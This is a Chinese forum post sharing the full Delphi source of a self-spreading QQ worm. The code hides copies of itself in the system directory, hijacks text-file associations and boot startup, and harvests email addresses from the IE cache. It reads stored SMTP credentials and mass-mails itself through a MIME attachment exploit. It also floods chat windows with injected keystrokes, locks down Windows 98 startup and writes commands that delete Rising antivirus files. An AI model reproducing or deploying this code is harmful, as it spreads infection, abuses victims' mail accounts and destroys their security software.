一个Delphi完成的QQ病毒源代码

信息来源：SuperHei

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Forms, shellapi,
winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure FindFiles(StartDir: string);
procedure GetEmailAddress(FileName:string);
procedure WriteAddress(Address:string);
{ Private declarations }
public
procedure getinputhandle;
procedure postmsg;
procedure scanemail;
procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;
procedure kill98;
{ Public declarations }
end;
type
cs=record
address:array[0..99] of string;
count:integer; //email地址的个数
smtp:pchar; //smtp服务器的地址
account:pchar; //发送信笺时使用的帐号
end;
var
Form1: TForm1;
hWnd11:hwnd;
i,safeid:integer;
talk1,talk2,talk3:string;
const
HELO=HELO#13#10;
MAILFROM=MAIL FROM: %S#13#10;
RCPTTO=RCPT TO: %S#13#10;
DATA=DATA#13#10;
QUIT=QUIT#13#10;
ENDSIGN=#13#10.#13#10;
implementation
// function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external KERNEL32.DLL;
{$R *.dfm}
function checkwinver:string;
var
OS :TOSVersionInfo;
begin
ZeroMemory(@OS,SizeOf(OS));
OS.dwOSVersionInfoSize:=SizeOf(OS);
GetVersionEx(OS);
Result:=未知;
if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then begin
case OS.dwMajorVersion of
3: Result:=NT;
4: Result:=NT;
5: Result:=2000;
end;
if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
Result:=XP;
end else begin
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
Result:=95;
if (Trim(OS.szCSDVersion)=B) then
Result:=952;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
Result:=98;
if (Trim(OS.szCSDVersion)=A) then
Result:=982;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
Result:=ME;
end;
end;
procedure tform1.FindFiles(StartDir: string);
var
SR: TSearchRec; //用来储存返回的文件的一些数据
IsFound: Boolean;//做为一个标志
begin
IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0;
//在startdir里面查找htm文件
while IsFound do begin
//如果找到htm文件
GetEmailAddress(startdir+sr.Name);
//这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。
//注意，这里的函数 GetEmailAddress我们等一下再来描述
IsFound := FindNext(SR) = 0;
//继续查找htm文件，只到标志isfound为false
end;
FindClose(SR);
IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0;
//现在是查找所有的文件
while IsFound do begin
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> .) then
findfiles(startdir+sr.Name+\);
//如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。
IsFound := FindNext(SR) = 0;
end;
FindClose(SR);
end;
procedure tform1.GetEmailAddress(FileName:string);
var
F:textfile;
S:string;//用来装每次读一行的字符串
Address:string;//得到的email地址
i,Position:integer;
begin
AssignFile(F,FileName);
Reset(f);
while not Eof(f) do
begin
Address:=;
//首先清空address
Readln(f,s);
//读取一行字符串到s中
Position:=Pos(mailto:,S);
//查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改
if Position > 0 then
begin
for i:=Position+7 to length(S) do
//这里position+7里的7表示"mailto:"的长度
begin
if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then
//判断是否有效字符
Address:=Address+S
else
break;
end;
if (Address<>) and (Pos(@,Address)<>0) then
//如果是有效地址，就把它写到列表中去。
//但是，可能这个地址以前已经存在在这个列表中，
//所以我定义了一个函数WriteAddress来判断是否存在该地址
//如果不存在，就添加到地址列表中去。
WriteAddress(Address);
end;
end;
closefile(f);
end;
procedure tform1.WriteAddress(Address:string);
var
F:textfile;
S,Str:string;
CanWrite:boolean;
Path:array[0..255] of char;
begin
GetSystemDirectory(path,256);
//首先取得系统目录，到时候把email地址列表文件保存到这里。
Str:=Strpas(Path);
CanWrite:=true;
AssignFile(F,Str+\maillist.lst);
if FileExists(Str+\maillist.lst)=false then
begin
//如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。
Rewrite(F);
writeln(F,Address);
Closefile(F);
exit;
end else
begin
Reset(f);
while not Eof(F) do
begin
Readln(F,S);
if Address=S then
begin
CanWrite:=false;
break;
end;
end;
CloseFile(F);
end;
if CanWrite then
begin
Append(F);
Writeln(F,Address);
CloseFile(F);
end;
end;
procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+\exp1orer.exe),false);
CopyFile(pchar(paramstr(0)),pchar(S+\notopad.exe),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+\exp1orer.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+\notopad.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,txtfile\shell\open\command,Hk);
value:=notopad.exe %1;
RegSetvalueEx(Hk,,0,REG_SZ,@value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Run,Hk);
value:=notopad.exe;
RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);
//设置开机自动运行ruin.exe
end;
procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数，也就两个文件的路径
const
_Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/);
//这里就是base64编码算法的64个字符
crlf=#13#10;
//定义crlf为回车换行
var
s,d:file;
buf1:array[0..2] of byte;
buf2:array[0..3] of char;
llen,len,pad,i:integer;
begin
assignfile(d,dest); //这里是目标文件
rewrite(d,1);
assignfile(s,source);//这里是原始文件
reset(s,1);
pad:=0;
llen:=0;
while (1=1) do
begin
blockread(s,buf1,3,len);if len=0 then break;
if (len<3) then
begin
pad:=3-len;
for i:=len to 2 do
buf1:=0;
end;
buf2[0]:=_Code64[buf1[0] div 4+1];
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1];
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1];
buf2[3]:=_Code64[buf1[2] mod 64+1];
//这里进行了编码
if (pad<>0) then
begin
if pad=2 then buf2[2]:==;
buf2[3]:==;
//输入只有一个或两个字节，那么输出将用等号“=”补足
blockwrite(d,buf2,4);
end
else
begin
blockwrite(d,buf2,4);
end;
inc(llen,4);
if (llen=76) then
begin
blockwrite(d,crlf,2);
//控制每行只写76个字符
llen:=0;
end;
end;
blockwrite(d,crlf,2);
closefile(d);
closefile(s);
end;
function makeboundary:string;
begin
result:=-----=_老同学_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10));
end;
procedure makeemlfile;
var
f,d:textfile;
path:array[0..255] of char;
boundary1,boundary2,S,str,line:string;
begin
GetSystemDirectory(path,256);
str:=strpas(path);
boundary1:=makeboundary;
boundary2:=makeboundary;
//这里，我们随机的生成了两个标签。
Randomize;
s:=From: +inttostr(Random(100))+@21cn.com+#13#10//这里你可以换成你自己的email地址
+Subject: 你好！#13#10 //这里，你也可以随机的来生成主题
+X-Priority: 1#13#10 //邮件的优先级，其实可以忽略
+Mime-Version: 1.0#13#10
+Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10
+--+boundary1+#13#10
+Content-Type: multipart/alternative;boundary="+boundary2+"#13#10
+--+boundary2+#13#10
+Content-Type: text/html#13#10
+Content-Transfer-Encoding: quoted-printable#13#10#13#10
+<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>#13#10
+--+boundary1+#13#10
+Content-Type: audio/x-wav;name="ruin.exe"#13#10 //就是这里audio/x-wav为mime漏洞了。
+Content-Transfer-Encoding: base64#13#10
+Content-ID: <THE-CID>#13#10#13#10;
//这里就是填充一些必要的信息。
assignfile(f,str+\ruin.eml);
rewrite(f);
write(f,s);//首先把上面的内容写入文件ruin.eml
CopyFile(pchar(paramstr(0)),pchar(str+\ruin_temp.exe),false);
//因为不能打开自身进行读写，所以，这里先做一个拷贝文件，我们直接来读拷贝后的文件
encodebase64(str+\ruin_eml.txt,str+\ruin_temp.exe);
deletefile(str+\ruin_temp.exe);
//删除刚才拷贝的临时文件
assignfile(d,str+\ruin_eml.txt);
reset(d);
while not eof(d) do
begin
readln(d,line);
writeln(f,line);
//接着向ruin.eml里面写入我们的病毒代码的base64编码
end;
closefile(d);
deletefile(str+\ruin_eml.txt);
//删除刚才调用base64编码算法生成的临时文件
closefile(f);
end;
function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度
var
i:integer;
begin
for i:=1 to length(buffer) do
if buffer=#10 then break;
mysizeof:=i;
end;
function randomaddress:pchar; //产生一个用户名
begin
Randomize;
result:=pchar(inttostr(random(1000))+@21cn.com);
end;
function getip(name:pchar):pchar;
type
plongint=^longint;
var
phe:phostent;
address:longint;
begin
phe:=gethostbyname(name);
if phe <> nil then
begin
address:=longint(plongint(phe^.h_addr_list^)^);
getip:=inet_ntoa(TInAddr(Address));
end
else getip:=name;
end;
procedure sendmail(canshu:cs);
var
s:tsocket;
//wsa:twsadata;
server:tsockaddr;
errorcode,i,count:integer;
smtp,account:pchar;
address:array of string;
recvbuffer,sendbuffer:array[0..79] of char;
head,path:array[0..255] of char;
body:array of char;
f:file;
str:string;
begin
//wsastartup(01,wsa);
//加载winsock库
GetSystemDirectory(path,256);
str:=strpas(path);
count:=2;
setlength(address,count);
getmem(smtp,256);
getmem(account,256);
//分配内存空间
strcopy(smtp,canshu.smtp);
strcopy(account,canshu.account);
//填充一些基本的信息
s:=socket(af_inet,sock_stream,0);
//建立一个套接字
if s=invalid_socket then exit;
server.sin_family:=af_inet;
server.sin_port:=htons(25);
server.sin_addr.S_addr:=inet_addr(getip(canshu.smtp));
errorcode:=connect(s,server,sizeof(server));
//调用connect和服务器连接
if errorcode=0 then
begin
makeemlfile;
//调用我们上面的函数，生成一个eml文件
assignfile(f,str+\ruin.eml);
reset(f,1);
i:=filesize(f);
setlength(body,i);
blockread(f,body[0],i);
//把刚才eml文件里面的所有内容都读取到body里面去
closefile(f);
recv(s,head,sizeof(head),0);
//这里调用recv来接受服务器的banner
strpcopy(sendbuffer,HELO);
send(s,sendbuffer,6,0);
//我们发送命令HELO
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
strpcopy(sendbuffer,format(mailfrom,[account]));
send(s,sendbuffer,mysizeof(sendbuffer),0);
//我们发送命令MAIL FROM
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
for i:=0 to count-1 do
begin
strpcopy(sendbuffer,format(RCPTTO,[address]));
send(s,sendbuffer,mysizeof(sendbuffer),0);
recv(s,recvbuffer,sizeof(recvbuffer),0);
end;
//已经发送count个rcpt to命令
strpcopy(sendbuffer,DATA);
send(s,sendbuffer,6,0);
//这里开始发送信笺的主体
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
send(s,body[0],length(body),0);
strpcopy(sendbuffer,ENDSIGN);
send(s,sendbuffer,5,0);
//这里发送信笺结束标志
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
strpcopy(sendbuffer,QUIT);
send(s,sendbuffer,6,0);
//发送QUIT表示我们要退出会话
recv(s,recvbuffer,sizeof(recvbuffer),0);
//接收服务器的返回信息
closesocket(s);
//关闭套接字
deletefile(str+\ruin.eml);
//删除临时文件
end;
freemem(smtp,256);
freemem(account,256);
//wsacleanup;
end;
procedure sendemails;
var
hk:hkey;
smtp,account,path,smtppassword:array[0..255] of char;
smtplen,accountlen,smtppasswordlen,i:integer;
canshu:cs;
f:textfile;
str:string;
begin
GetSystemDirectory(path,256);
str:=strpas(path);
smtplen:=256;
accountlen:=256;
smtppasswordlen:=256;
i:=0;
RegOpenKey(HKEY_CURRENT_USER,Software\Microsoft\Internet Account Manager\Accounts000001,hk);
RegQueryvalueEx(hk,SMTP Server,nil,nil,@smtp,@smtplen);
RegQueryvalueEx(hk,Smtp Email Address,nil,nil,@account,@accountlen);
RegQueryvalueEx(hk,SMTP Password2,nil,nil,@smtppassword,@smtppasswordlen);
//一直到这里都是准备工作，读取该用户的帐号和smtp服务器
if smtppasswordlen<>256 then
//需要注意的是，这里smtp password2表示smtp服务器需要密码登陆
//所以我们进行判断
begin
canshu.smtp:=smtp;
canshu.account:=account;
//这里是smtp服务器，按默认设置
end else
begin
canshu.smtp:=smtp.21cn.com;
canshu.account:=randomaddress;
//否则，我设置为smtp服务器为smtp.21cn.com
//帐号为随机产生一个21cn的地址
//因为smtp.21cn.com不需要身份验证
end;
assignfile(f,str+\maillist.lst);
reset(f);
while not eof(f) do
begin
readln(f,canshu.address);
inc(i);
if i=100 then
begin
i:=0;
canshu.count:=100;
sendmail(canshu);
//每次读100个地址，然后调用我们发送邮件的地址
//sendmail函数在下面会定义，请往后看
end;
end;
closefile(f);
if i>0 then
begin
canshu.count:=i;
sendmail(canshu);
//这里是如果邮件个数不是100的整数倍，就读剩余的个数i
end;
end;
procedure TForm1.getinputhandle();
var
FormThreadID,CWndThreadID:DWORD;
begin
i:=i+1;
hWnd11:=GetForegroundWindow(); // 得到当前窗口
if (hwnd11=form1.Handle) then
begin
hwnd11:=0;// 排除程序本身的窗口
exit;
end;
FormThreadID:= GetCurrentThreadId(); // 本程序的线程ID
// 当前窗口的线程ID
CWndThreadID:=GetWindowThreadProcessId(hWnd11,nil);
// 附加输入线程
AttachThreadInput(CWndThreadID, FormThreadID, true);
// 得到当前键盘光标所在的窗口
hWnd11:= GetFocus();
// 取消附加的输入线程
AttachThreadInput(CWndThreadID, FormThreadID, false);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
try
getinputhandle;
Randomize;
if i>5 then
if random(5)=1 then
begin
postmsg;
i:=0;
end;
if HourOf(now)=13 then
//每天1点执行扫描
begin
scanemail;
sendemails;
end;
except
end;
end;
procedure TForm1.postmsg;
Var a:widestring;
b:array[0..500] of char;
i:integer;
Begin
if hwnd11=0 then exit;
zeromemory(@b,500);
randomize;
i:=random(4);
a:=memo1.lines.text;
if i=1 then
a:=talk1;
if i=2 then
a:=talk2;
if i=3 then
a:=talk3;
strpcopy(b,a);
for i:=0 to 300 do
begin
postmessage(hwnd11,wm_char,wParam(b),0);
end;
keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。
keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),0,0); //按下CTRL键。
keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。
keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0);//放开R键。
keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_KEYUP,0);//放开CTRL键。
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
talk1:=我好爱你啊啊！爱你爱到沟里，想你想到坑里。=明教教主=!;
talk2:=我好爱你啊啊！爱你爱到沟里，想你想到坑里。=明教教主=;
talk3:=我好爱你啊啊！爱你爱到沟里，想你想到坑里。=明教教主=;
try
if paramcount=1 then
begin
//winexec(pchar(rav.exe+paramstr(1)),sw_show);
shellexecute(0,open,pchar(notepad.exe),pchar(paramstr(1)),nil,sw_normal);
end;
i:=0;
safeid:=2;
SelfCopy;
application.Title:=Suny Write;
if findwindow(nil,冬天来了春天还会远吗?)<>0 then
begin
safeid:=4;
application.Terminate;
exit;
end;
application.Title:=冬天来了春天还会远吗?;
if (checkwinver=98) or (checkwinver=982) then
begin
kill98;
winexec(command /c explorer.exe,sw_hide);
end;
if checkwinver=2000 then
begin
end;
except
end;
end;
procedure TForm1.scanemail;
var
HK:HKEY;
IeCache:array[0..255] of char;
IeCacheLen:integer;
S:string;
begin
IeCacheLen:=256;
//设置返回值的长度
RegOpenKey(HKEY_CURRENT_USER,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\,HK);
RegQueryvalueEx(HK,Cache,nil,nil,@IeCache,@ieCacheLen);
//读取IE缓存的路径
S:=Strpas(IeCache)+\;
//在刚才取得的路径后面加一个\
FindFiles(S);
//调用我们自己写的函数
end;
procedure TForm1.wmwindowsclose(var msg: Tmessage);
begin
safeid:=4;
end;
procedure reboot;
var
hProcess, hToken, lBufferNeeded: Cardinal;
tmpLuid: TLargeInteger;
tkp, tkp1: TOKEN_PRIVILEGES;
begin
if (checkwinver=98)or(checkwinver=982) then
begin
ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0);
exit;
end;
hProcess := GetCurrentProcess;
OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY), hToken);
LookupPrivilegevalue(, SeShutdownPrivilege, tmpLuid);
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Luid := tmpLuid;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, False, tkp, sizeof(tkp1), tkp1, lBufferNeeded);
ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0); // 重启
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if safeid<>4 then
begin
reboot;
end;
end;
procedure TForm1.kill98;
var t:tinifile;
a:array[0..255] of char;
s,k:string;
Tmp:integer;
f:textfile;
begin
try
GetwindowsDirectory(a,255);
s:=a;
t:=tinifile.create(s+\+system.ini);
t.writestring(boot,shell,application.ExeName);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Tmp,0);
t.free;
assignfile(f,c:\msdos.sys);
reset(f);
while not eof(f) do
begin
readln(f,k);
end;
if k<>bootkeys=0 then
begin
append(f);
Writeln(f,bootkeys=0);
Flush(f);
end;
closefile(f);
if directoryexists(c:\Program Files\rising)or directoryexists(d:\Program Files\rising) then
begin
assignfile(f,c:\autoexec.bat);
reset(f);
append(f);
Writeln(f,del c:\Program Files\rising\*.*);
Writeln(f,del d:\Program Files\rising\*.*);
Writeln(f,del e:\Program Files\rising\*.*);
Writeln(f,del f:\Program Files\rising\*.*);
Flush(f);
closefile(f);
end;
except
end;
end;
end.

复制代码

收藏分享评分

回复引用

订阅 TOP

返回列表